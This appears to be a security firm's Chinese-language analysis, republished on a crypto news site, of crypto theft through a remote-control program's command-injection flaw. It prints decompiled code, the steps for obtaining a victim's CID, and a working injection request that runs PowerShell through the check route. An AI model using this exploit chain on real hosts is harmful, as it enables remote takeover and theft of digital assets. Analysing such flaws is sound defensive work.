Cointime

扫码下载App
iOS & Android

Web3安全事件:黑客利用远程控制软件窃取加密货币

起因

最近许多Web3的加密货币持有者,在使用某远程控制软件期间,发生多起加密货币丢失事件。下图为其中一起事件。

黑客钱包地址:

0xbb3fd383d1c5540e52ef0a7bcb9433375793aeaf

这不得不联想到去年某远程控制软件http服务爆过cid泄漏+命令注入漏洞CNVD-2022-10270/CNVD-2022-03672;受害者每次启动该软件时,会自动随机开启一个大于40000的端口号作为http服务,在/check路由中,当参数cmd的值以ping或者nslookup开头时可以执行任意命令,攻击者可以下发c2 agent长期潜伏在受害者系统中观察。

影响版本:

个人版 for Windows <= 11.0.0.33162

简约版 <= V1.0.1.43315

分析

看一下login.cgi

v5 =(__int64 (__fastcall *)())operatornew(0x50ui64); v55 = v5; v54 =15i64; v53 =0i64; v51[0]=0; sub_1400F0690(v51,"login.cgi",9ui64); v6 = sub_140E2D6BC(v5, v51); v57 =&off_1410D3B20; v58 =(char(__fastcall *)(__int64, __int64))sub_140E1EE50; v59 = v52; v60 = a1; v61 =&v57; v66 =(_QWORD *)v6; if( v6 ) { v7 = v6 +8+*(int*)(*(_QWORD *)(v6 +8)+4i64); (*(void(__fastcall **)(__int64))(*(_QWORD *)v7 +8i64))(v7); } sub_140E2D85C(a1 +55,&v66,&v57); LOBYTE(v8)=1; sub_1400EEDC0(v51, v8,0i64); v56 =&v57; v9 =(__int64 (__fastcall *)())operatornew(0x50ui64); v55 = v9; v54 =15i64; v53 =0i64; v51[0]=0; sub_1400F0690(v51,(void*)"cgi-bin/login.cgi",0x11ui64); v10 = sub_140E2D6BC(v9, v51); v57 =&off_1410D3B20; v58 =(char(__fastcall *)(__int64, __int64))sub_140E1EE50; v59 = v52; v60 = a1; v61 =&v57; v66 =(_QWORD *)v10; if( v10 ) { v11 = v10 +8+*(int*)(*(_QWORD *)(v10 +8)+4i64); (*(void(__fastcall **)(__int64))(*(_QWORD *)v11 +8i64))(v11); } sub_140E2D85C(a1 +55,&v66,&v57); LOBYTE(v12)=1; sub_1400EEDC0(v51, v12,0i64); v56 =&v57; v13 =(__int64 (__fastcall *)())operatornew(0x50ui64); v55 = v13; v54 =15i64; v53 =0i64; v51[0]=0; sub_1400F0690(v51,(void*)"cgi-bin/rpc",0xBui64); v14 = sub_140E2D6BC(v13, v51); v57 =&off_1410D3B20; v58 = sub_140E1C954; v59 = v52; v60 = a1; v61 =&v57; v66 =(_QWORD *)v14; if( v14 ) { v15 = v14 +8+*(int*)(*(_QWORD *)(v14 +8)+4i64); (*(void(__fastcall **)(__int64))(*(_QWORD *)v15 +8i64))(v15); }

定位到cgi-bin/rpc

获得以下路由

v63 =(*(__int64 (__fastcall **)(_QWORD))(**(_QWORD **)(a1 +8)+104i64))(*(_QWORD *)(a1 +8)); sub_140320D80( (int)&qword_1414049C0, 1, (int)"..\\includes\\libsunloginclient\\client\\HttpDecideClientType.cpp", (int)"CHttpDecideTcpClientType::DecideClient", 205, "[Acceptor][HTTP] new RC HTTP connection %s,%s, plugin:%s, session:%s", v63); if((unsignedint)sub_140101DB0(v116,"login") && strcmp(v61,"express_login") && strcmp(v61,"cgi-bin/login.cgi") && strcmp(v61,"log") && strcmp(v61,"cgi-bin/rpc") && strcmp(v61,"transfer") && strcmp(v61,"cloudconfig") && strcmp(v61,"getfastcode") && strcmp(v61,"assist") && strcmp(v61,"cloudconfig") && strcmp(v61,"projection") && strcmp(v61,"getaddress") && strcmp(v61,"sunlogin-tools")) ... sub_1400F05E0(v116); goto LABEL_168; } } if(!(unsignedint)sub_140101DB0(v116,"login") ||!(unsignedint)sub_140101DB0(v116,"control") ||!strcmp(v61,"express_login") ||!strcmp(v61,"cgi-bin/login.cgi") ||!strcmp(v61,"cgi-bin/rpc") ||!strcmp(v61,"desktop.list") ||!strcmp(v61,"cloudconfig") ||!strcmp(v61,"check") ||!strcmp(v61,"transfer") ||!strcmp(v61,"getfastcode") ||!strcmp(v61,"assist") ||!strcmp(v61,"micro-live/enable") ||!strcmp(v61,"projection") ||!strcmp(v61,"getaddress")) { v103 =*(_QWORD *)(a1 +8);

根据网上披露的漏洞信息,先从cgi-bin/rpc路由获取的身份验证CID,可以看到action参数进行区分功能。

当action为verify-haras时,返回verify_string。

if(!(unsignedint)sub_140101DB0(v131,"verify-haras")) { sub_1400F0690(Src,"{\"__code\":0,\"enabled\":\"1\",\"verify_string\":\"",0x2Bui64); LOBYTE(v22)=1; v23 =(*(__int64 (__fastcall **)(_QWORD,char*, __int64))(**(_QWORD **)(*(_QWORD *)(a1 +416)+288i64)+144i64))( *(_QWORD *)(*(_QWORD *)(a1 +416)+288i64), v125, v22); sub_1400EEE40(Src, v23,0i64,-1i64); sub_1400F05E0(v125); sub_1400EEC60(Src,"\",\"code\":0} ",0xCui64); v73 =1; CxxThrowException(&v73,(_ThrowInfo *)&stru_1412F7B30); }

当action为login-type时,返回受害者设备相关信息。

if(!(unsignedint)sub_140101DB0(v131,"login-type")) { sub_1405ACBA0(v93); v16 ="0"; if((*(unsigned __int8 (__fastcall **)(_QWORD))(**(_QWORD **)(*(_QWORD *)(a1 +416)+288i64)+112i64))(*(_QWORD *)(*(_QWORD *)(a1 +416)+288i64))) ... memset(Buffer,0,sizeof(Buffer)); sub_140150A60( Buffer, "{\"__code\":0,\"use_custom\":%d,\"code\":0,\"version\":\"%s\",\"isbinding\":%s,\"isinstalled\":%s,\"isprojection\"" ":%s,\"platform\":\"%s\",\"mac\":\"%s\",\"request_need_pwd\":\"%s\",\"accept_request\":\"1\",\"support_file\":\"1\"" ",\"disable_remote_bind\":\"%s\"} "); if( Buffer[0]) { do ++v6; while( Buffer[v6]); v4 = v6; } sub_1400F0690(Src, Buffer, v4); v72 =1; CxxThrowException(&v72,(_ThrowInfo *)&stru_1412F7B30); }

除了以上还有fast-loginbind-request

再来看check路由,攻击者可以通过ping或nslookup进行构造恶意命令实现远程命令执行

getaddress路由可以获取到映射在外网固定端口的https服务地址,那这个地址是可以被网络资产搜索引擎抓取或被攻击者扫描到,所以攻击路径不局限于内网。

利用过程

每次启动时,会在40000+随机一个rpc接口的端口

第一步,获取受害者的CID。

第二步,添加CID进行身份认证Cookie:CID=Pvqsv5f5QDs8vYotYsUEFvTkqJuKeZIS并在受害者电脑执行任意命令。

查看受害者的系统文件

check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+dir+c:/

总结:

随着web3的持续发展,由于web3基础架构的隐匿性以及数字资产的高价值,黑客由传统的网络安全盗取数据转变在web3的生态里,盗取用户数字资产。很多黑客开始利用0day/1day来完成攻击目标设施,包括服务器,个人主机,钱包APP,移动客户端等,通过入侵这些系统,最终窃取用户的数字资产的目的,这里建议用户需要及时给系统打补丁,及时更新系统内的软件,不点击不明来源的连接,做好系统隔离,密钥需要在隔离系统中存放以及使用,不随便装不明来源的软件等。Numen 提供溯源,威胁情报,追币等服务,我们有行业顶级web3安全专家以及全球顶级的传统网络安全专家,持续研究,跟踪web3安全领域的问题,为您的数字资产安全保驾护航。

评论

所有评论

推荐阅读

  • 京东开源实时流式视频编辑模型JoyAI-Video-Edit

    8月5日,京东今日宣布开源自研的实时流式视频编辑模型JoyAI-Video-Edit。用户可以一边观看视频,一边���改人物与场景,让视频创作从“先有素材再修改”变为可实时互动编辑。

  • 消息称美方计划周三宣布就霍尔木兹海峡达成协议

    8月5日,据AXIOS援引两名地区消息人士和一名美国官员称,美国、伊朗和阿曼正接近达成一项临时协议,以重新开放霍尔木兹海峡,美国方面计划于周三宣布此事。这一初步协议将满足伊朗对霍尔木兹海峡交通管控权的若干要求——这是战争前伊朗所没有的控制权。据两名地区消息人士透露,正在讨论的协议将在霍尔木兹海峡建立一个为期60天的临时安排,且安排时间可能被延长。

  • DeepSeek重启融资,投前估值5000亿元

    8月5日,多名交易人士透露,大模型公司DeepSeek重启了第二轮融资,本轮计划募资500亿元,投前估值约5000亿元,并计划将在8月下旬完成签约。多位投资人提到,DeepSeek第二轮融资至少在7月中旬就已开启,但在7月底突然暂停,当时一些谈判候补名单上的投资人被告知签署融资协议的计划暂缓。据媒体7月26日报道,DeepSeek暂停第二轮融资,其中一个原因是DeepSeek创始人梁文锋对网上广泛流传的言论感到不满,这些消息主要围绕疑似泄露的“面向投资者的会议实录”。DeepSeek和正在谈判桌上的投资人们希望这次融资在重启后能低调进行。目前,一些此前积极接触的投资机构表示,他们还没有接到DeepSeek重启融资的消息,通道仍处在暂缓状态。(财经杂志)

  • BTC跌破64000美元

    行情显示,BTC跌破64000美元,现报63999.01美元,24小时涨幅达到0.98%,行情波动较大,请做好风险控制。

  • 美联储施密德:勿因单月数据乐观过早放松警惕

    8月5日,美联储施密德表示:“在审视经济时,我的关注点完全落在仍然过高的通胀上。美联储将物价稳定定义为2%的通胀率。为什么是2%?因为这一水平似乎刚好,不会对家庭和企业的日常决策产生实质影响。然而,尽管6月最新通胀数据显示出令人鼓舞的放缓迹象,但相对于近期趋势,过分依赖单一数据点还为时过早。波动剧烈的油价既在前几个月推高了通胀,也在6月的回落中发挥了重要作用。随着油价再次上涨,能源方面的任何缓解能否持续尚不确定。”(金十)

  • 美联储施密德:需要更紧缩的货币政策以将通胀恢复至2%的目标

    8月5日,美联储施密德:需要更紧缩的货币政策以将通胀恢复至2%的目标。通胀过高,令人担忧,美联储当前的政策立场并不具限制性。整体经济表现良好,增长韧性强。欢迎近期的通胀数据,但现在说是否放缓还为时尚早。就业市场似乎大致平衡,美联储不应忽视通胀,即使是由供应冲击引起的。个人消费支出价格指数是衡量通胀的最佳方式。人工智能投资正在推高通胀,美联储不应忽视这一点。(金十)

  • 美股三大指数均涨超1%

    8月4日,道指涨1.36%,现报53900.81点;纳指涨1.58%,现报26323.05点;标普500指数涨1.00%,现报7676.54点。

  • WTI原油失守76美元,油气股普跌

    8月4日,油气股普跌,英国石油跌超4%,埃克森美孚、巴西石油、埃尼石油、雪佛龙、壳牌均跌超2%。消息面上,美国财政部长贝森特称,美国可能明日与伊朗达成协议以开放霍尔木兹海峡。国际油价应声下跌,WTI原油跌超5%,失守76美元/桶。

  • 沙特拟通过幕后外交缓和与胡塞武装的矛盾

    8月4日,据知情人士透露,沙特希望通过幕后外交来遏制与胡塞武装的新一轮冲突,以避免与这个伊朗支持的组织发生冲突影响其石油工业和经济。据消息人士称,沙特已通过阿曼调解人与也门胡塞武装举行会谈,同时仍在准备军事选项,以防外交努力失败。(金十)

  • Web3数据和AI公司Validation Cloud完成1000万美元新一轮融资

    Web3数据和AI公司Validation Cloud宣布从True Global Ventures获得1000万美元融资,该公司计划利用这笔资金扩展其AI产品,实现对Web3数据的无缝访问。 据介绍,该公司的产品平台由三个部分组成:质押、节点API以及数据和AI。在质押方面,Validation Cloud的质押资产已超过10亿美元。Validation Cloud的一些客户包括 Chainlink、Aptos、Consensys、Stellar和Hedera。